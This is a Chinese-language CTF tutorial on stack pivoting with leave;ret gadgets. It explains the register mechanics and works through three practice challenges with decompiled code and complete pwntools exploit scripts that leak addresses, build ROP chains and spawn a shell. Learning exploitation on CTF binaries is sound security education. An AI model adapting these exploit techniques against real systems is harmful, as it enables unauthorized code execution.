栈迁移原理深入理解以及实操

前言

我们现在一般做题题目是给出很大的一块空间供我们写入栈溢出的ROP链的，但是当题目限制输入的空间比如说几个字节呢，只能覆盖到ebp,ret_addr,这个时候就需要栈迁移这样的骚操作了，接下来我将用很通俗的语言带你们深入理解栈迁移。

原理

一般我们进行栈溢出攻击的时候，题目一般会给出足够大的空间写入我们的构造的ROP链，但是有一些题目会限制你的输入空间，这样的时候就是需要我们利用栈迁移将我们的栈转移到别的地方，一般是在bss段，我们可以在bss段设定一段gadget，之后将栈迁移从而getshell

栈迁移的关键在于利用leave;ret指令，这里我详细说明一下leave和ret具体是什么

leave指令即为mov esp ebp;pop ebp先将ebp赋给esp，此时esp与ebp位于了一个地址，你可以现在把它们指向的那个地址，即当成栈顶又可以当成是栈底。然后pop ebp，将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容，也就是说现在把ebp的内容赋给了ebp)

这里说明一下ebp和ebp的内容是两码事，

ebp是0xffe7a9e8，它的内容是0xffe7aa38，而这个内容也是一个地址，这个地址里面装的又是0x8059b50。ebp本身大部分时候都是一个地址（程序正常运行情况下），而ebp的内容可以是地址，也可以不是地址（程序正常运行下，ebp的内容也装的是地址，但如果你进行溢出的话，自然可以不装成地址）。

当我们pop ebp之后，由于将栈顶的内容都弹入到ebp了，那么esp也会向下移一个内存单元

下面我将用图片演示一下leave;ret的过程

ret指令为pop eip，这个指令就是把栈顶的内容弹进了eip（就是下一条指令执行的地址）

为什么要利用2次leave;ret从而进行栈迁移呢？

比如我们调用一个Evi1s7()函数时，也就是eip执行到call Evi1s7指令，call 指令以及Evi1s7函数开头的指令依次做了如下事情来「保护现场」：

牢记Evi1s7结束后应从哪里继续执行（保存当前 eip下面的位置到栈中，即 ret）；
牢记上层函数的栈底位置（保存当前 ebp 的内容到栈中，即为old ebp）；
牢记Evi1s7函数栈开始的位置（保存当前栈顶的内容到 ebp，便于Evi1s7函数栈内的寻址）；

当Evi1s7函数执行结束时，eip 即将执行 leave 与 ret 两条指令恢复现场，而由前文可知，leave 与 ret 指令则相当于完成如下事情来「恢复现场」：

清空当前函数栈以还原栈空间（直接移动栈顶指针 esp 到当前函数的栈底 ebp ）；
还原栈底（将此时 esp 所指的上层函数栈底 old ebp 弹入 ebp 寄存器内）；
还原执行流（将此时 esp 所指的上层函数调用foo时的地址弹入 eip 寄存器内）

当调用一个函数的时候，正常流程是像上面一样进行保护现场，之后恢复现场，一旦攻击者能篡改栈上原old ebp 内容，则能篡改 ebp 寄存器中的内容，从而「有可能」去篡改 esp 的内容，进而影响到 eip。这一流程其实就是栈迁移的核心思想。

这里为什么说是有可能呢，这是因为 leave 所代表的子指令是有先后执行顺序的，即无法先执行 pop ebp ，再执行 mov esp, ebp，因此直觉上无法先影响 ebp 再影响 esp

而且当我们将栈上 ret 部分覆盖为另一组 leave ret指令（gadget）的地址，即最终程序退出时会执行两次 leave 指令，一次 ret 指令。由此，当 pop ebp 被第一次执行后，eip 将指向又一条 mov esp, ebp指令的地址，而此时 ebp 寄存器的内容已变为了第一次 pop ebp 时，被篡改过的栈上 ebp 的数据。这样，esp 就会被「骗」到了另外的一处内存空间，从而整个函数的栈空间也完成了「迁移」。

栈迁移利用

首先要进行栈溢出将ebp修改为目标地址(也就是需要进行迁移的地址)，并且把ret addr填充为leave;ret指令的地址

接下来我会用图片以及文字进行讲解

开始执行第一个leave;ret，首先是确保可以栈溢出将ebp,ret_addr都可以覆盖,之后将ebp修改为需要迁移到的地址(一般是我们构造好ROP链的位置)，ret_addr修改为leave;ret的指令的地址，之后mov esp,ebp，esp和ebp处于同一位置，指向同一个地址，之后pop ebp，将栈顶的内容弹出给ebp，之后我们的ebp就来到了目标地址，再ret->pop eip，我们的存有leave_ret_addr的地址就作为返回地址存储到了eip中，接下来立马再次执行一次leave;ret

第二个leave;ret,此时ebp和esp的位置互换了，之后再执行mov ebp,esp就可以将esp迁移到ebp的位置，至此我们的esp,ebp已经完全迁移到目标地址了，之后再pop ebp，将栈顶没用的内容弹出，此时栈顶的内容就是system@plt的地址了，这个时候我们再执行ret->pop eip的话，其实就是将栈顶的内容也就是(sytem@plt)弹入到eip中，我们接下来就是执行system@plt从而getshell

所以，经过上面的分析，我们对于栈迁移也有了一定的了解，总结一下：

第一次leave;ret，其实就是让ebp放入目标地址
第二次leave;ret，就是将esp也迁移到ebp的位置，之后pop ebp，esp指向下一个内存单元，如上图，这里esp是指向了system@plt，从而getshell

实例分析

ciscn_2019_es_2

32位下的栈迁移,printf()的特性

file&checksec

32位程序，开启了nx保护

IDA静态分析

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

首先调用了一个init()函数进行了初始化缓冲区，之后输出一行字符串，之后调用vul()函数

init()

int init()
{
  setvbuf(stdin, 0, 2, 0);
  return setvbuf(stdout, 0, 2, 0);
}

初始化输入和输出缓冲区

vul()

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

这里我转义一下进制，便于理解

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 32u);
  read(0, s, 48u);
  printf("Hello, %s\n", s);
  read(0, s, 48u);
  return printf("Hello, %s\n", s);
}

可以看到，我们对于s开辟了一个40个字节的缓冲区，但是我们read()读取时读48个字节，显然是存在栈溢出的，但是只能溢出8字节，显然是不够的，这就需要进行栈迁移了，而且题目给出的溢出字节正好可以覆盖ebp和ret_addr

hack()

int hack()
{
  return system("echo flag");
}

直接给我们提供后门函数了，但是参数有一点问题，上述命令执行其实就是打印一个flag的字符串，所以我们需要利用栈迁移将echo flag修改为/bin/sh

gdb动调

看一下ebp和参数s的距离

到vul()步进

上图的第一个框是参数s的地址

第二个框是main函数的ebp的地址，这里我要解释一下了，我们此时是步进入了vul()函数，此时上图显示的ebp是vul()的ebp，我们的框中的才是main()的ebp

所以我们此时知道参数s的地址了，就是ebp_addr-0x38

首先，泄露ebp的地址

IDA分析vul()发现提供了 printf 这一输出函数，printf函数在输出的时候遇到’\0‘会停止，如果我们将参数s全部填满，这样就没法在末尾补上’\0‘，那样就会将ebp连带着输出

之后就是布置s栈上的值

先画一下栈帧，结合栈帧进行讲解

IDA看s的栈结构，我们构造的payload大致可以分为这7个框

第一个框，这里是填充的aaaa字符串，这里是填入的我们前面进行gdb测试的字符串，这里存储的第二次pop ebp的弹出的内容，为的是接下来将system@plt存储到eip中
第二个框，这里是存放的是system@plt的地址
第三个框，这里存放的是system_ret_addr，这里随便填充即可,这里目的主要是维持栈的完整性
第4个框，这里存放的是放置binsh的地址，其实通俗的理解就是放置跳转到/bin/sh的地址
第5个框，是我们输入/bin/sh字符串之后存储的地方，这里顺便说一下为什么要利用8个字节进行存放我们的/bin/sh，因为/bin/sh占用7个字节，一个内存空间是远远不够的，所以我们调用2个内存空间进行存储。
第6个框，是我们进行覆盖ebp的地方，我们将这里覆盖为参数s的地址，这样的话，当我们pop ebp的时候，会跳转到参数s的地址，就可以输入0x28个字节的内容，从而可以将我们的ROP链构造
第7个框，这里就是随便写入一个leave;ret的地址即可

Ubantu18环境，这里我用Ubantu16打的

exp:

import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='i386'

#p=remote("node4.buuoj.cn",27740)
p=process('./pwn0')
elf = ELF('./pwn0')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

system=0x08048400
leak('system',system)
leave_ret=0x080485FD


pl1='a'*0x27+'b'
p.send(pl1) #not sendline
p.recvuntil("b")
ebp=u32(p.recv(4))
leak('ebp',ebp)

s=ebp-0x38
binsh=ebp-0x28

pl2='aaaa'+p32(system)+p32(1)+p32(binsh)+"/bin/sh\00"
pl2=pl2.ljust(0x28,'p')

pl2+=p32(s)+p32(leave_ret)

sl(pl2)

p.interactive()

还是依次解释一下exp

第一个框，这里其实是利用printf()的特性，参数是%s,printf()遇到\00会停止，如果我们将参数s都填满([ebp-28h])，这样就不会在末尾加上\0，ebp的地址也就泄露出来了
(这里顺便说一下为什么不能用sendline送出去我们的payload,因为sendline的特性最后在末尾会补充上\00,这样的话就进行\00截断了，就无法带出我们的ebp了)
(这道题目是没有开启canary的，如果开启了canary是要先泄露canary的，然后再泄露ebp)
第二个框，参数s距离ebp的距离是通过gdb动调看出来的，之后再看栈帧，我们输入的测试字符串距离放入binsh的内存空间是隔了3个空间的，计算一下得出是偏移4个内存空间，也就是ebp-0x28
第三个框，pl2就是根据上面的栈帧构造的payload，利用ljust进行填充->为的是进行栈溢出覆盖local variable，之后再覆盖ebp为目标迁移地址，也就是参数s的地址，再加上leave_ret的地址，之后就可以写入我们的binsh,从而getshell

gyctf_2020_borrowstack

64位下的栈迁移&栈迁移到bss段的细节

第一个read()存在溢出，第二个read()不存在溢出

file&checksec

IDA静态分析

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[96]; // [rsp+0h] [rbp-60h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(&s);
  read(0, buf, 0x70uLL);
  puts("Done!You can check and use your borrow stack now!");
  read(0, &bank, 0x100uLL);
  return 0;
}

发现第一个read()存在溢出，只能溢出0x10->16个字节，也就是64位下2个内存空间，也就是只能溢出到rbp和ret_addr

这道题思路其实挺简单的，就是利用栈迁移将栈帧迁移到处于bss段的bank，但是这道题目有一个坑，这其实也提醒我们之后做题的细节

发现了got表离这个bss段地址是很近的，因为我们要把栈迁移到bss段，就是可以把这个bss段给看成栈了，我们会在这个“栈”里面调用puts函数去泄露函数地址，但是调用puts的时候会开辟新的栈帧从而改变地址较低处的内容（不仅仅是got表，还有FILE *stdout和FILE *stdin），导致程序崩溃。

而且这一道题目也没有后门函数以及参数，肯定也涉及泄露libc基地址->我们可以利用puts()进行泄露puts的got表，之后再回到main函数，再执行两次read，输入我们的onegadget

小tips:有可能也看到了我的exp都用的send进行送数据，这是因为我们输入的结果是要看函数用的什么的

如果是read函数的话：

①只有当count的字节数大于你所输入的字节数，这个回车才不会产生任何的影响，而多出来的回车也会被当成输入数据正常存入栈中（如果输入的地址是栈的话）；

②当count字节数等于你所输入的字节数，那么最后的sendline的回车会停留在栈中（没有在缓冲区中），此时它是不正常存入，因为这个回车的缘故，已经造成了溢出；

③当count字节数小于你所输入的字节数，那么没有输入进指定地址的内容，都会停留在输入缓冲区，有可能会影响之的输入。

但值得一提的是使用read函数，我们可以用send来发送数据，这样就可以确保万无一失。

如果是gets函数或者scanf函数，我们没有办法选择，只能使用sendline，这两种函数只有遇见sendline发送的回车，才会停止读入。

gets函数会清空缓冲区里的回车，而scanf则不会清空回车。因此scanf可能会因为没有清空回车的缘故，对之后的程序输入可能造成影响，但是如果gets函数溢出了数组限制的话，会异常的在输入的字符串结尾填上一个00存入栈中。此时的00也有可能会覆盖原本栈中的数据，另外就是遇见fgets的话，也是没的选，只能用sendline

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='amd64'

p=remote("node4.buuoj.cn",26741)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

bank=0x0000000000601080
leave_ret=0x0000000000400699
main=elf.symbols['main']
leak('main',main)
rdi_addr=0x0000000000400703
rsi_addr=0x0000000000400701
puts_got=0x0000000000601018
ret_addr=0x000000000040069A

puts_plt=0x00000000004004E0
leak('puts_plt',puts_plt)
ru("Ｗelcome to Stack bank,Tell me what you want\n")
pl = 'a'*0x60+p64(bank+0xd0)+p64(leave_ret)
s(pl)
#dbg()
ru("Done!You can check and use your borrow stack now!\n")
pl2='a'*0xd0+p64(0)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
s(pl2)
puts=uu64(r(6))
leak('puts',puts)

libc_base=puts-libc.symbols['puts']
leak('libc_base',libc_base)
system=libc_base+libc.symbols['system']
leak('system',system)

ru("Ｗelcome to Stack bank,Tell me what you want\n")
pl3='a'*0x60+p64(bank)+p64(leave_ret)
s(pl3)
one_gadget=libc_base+0x4526a

ru("Done!You can check and use your borrow stack now!\n")
pl4=p64(0) + p64(one_gadget) +p64(0)*10
#pl4=p64(0)+p64(rdi_addr)+p64(next(libc.search('/bin/sh\00')))+p64(system)
s(pl4)

p.interactive()

继续解释一下exp

第一个框，这里是将栈迁移到bss段，但是得留出一段写入ROP链的地方，所以我这里是在bss段多偏移了0xc0的距离，留了很大的一块空间
第二个框，这里就是引用了一段gadget进行泄露puts的got表，之后再返回main()
第三个框，这里就是再进行一次栈迁移
第四个框，将我们的onegadget写入栈帧，后面的p64(0)*7是为了保持栈的完整性

后话

这里有个点需要注意，这个题目需要在exp前面加上一个 #coding=utf-8 ，不然我们ru接收不了，编码的问题

[Black Watch 入群题]PWN

第一个read不存在溢出，第二个read()存在溢出

file&checksec

IDA静态分析

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vul_function();
  puts("GoodBye!");
  return 0;
}

vul_function()

ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf[24]; // [esp+0h] [ebp-18h] BYREF

  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, buf, 0x20u);
}

主要漏洞点在第二个read()，其实操作和上一个题目差不多

就是在第一个read()写入我们构造的ROP链，然后第二个read()迁移到处于bss段的s地址，先泄露libc，再getshell

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='i386'

#p=process('./pwn')
p=remote("node4.buuoj.cn",27645)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

puts_plt=0x08048350
puts_got=elf.got['puts']
s_addr=0x0804A300


leave_ret=0x08048542
main=0x08048513

ru('What is your name?')
pl=p32(0)+p32(puts_plt)+p32(main)+p32(puts_got)
s(pl)

ru('What do you want to say?')
pl2='a'*0x18+p32(s_addr)+p32(leave_ret)
s(pl2)

puts=uu32(r(4))
leak('puts',puts)

libcbase=puts-libc.symbols['puts']
leak('libcbase',libcbase)
system=libcbase+libc.symbols['system']
leak('system',system)
binsh=libcbase+next(libc.search('/bin/sh\00'))
leak('binsh',binsh)

ru('What is your name?')
pl3=p32(0)+p32(system)+p32(0)+p32(binsh)
s(pl3)

ru('What do you want to say?')
pl2='a'*0x18+p32(s_addr)+p32(leave_ret)
s(pl2)

p.interactive()

栈迁移原理深入理解以及实操

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后话

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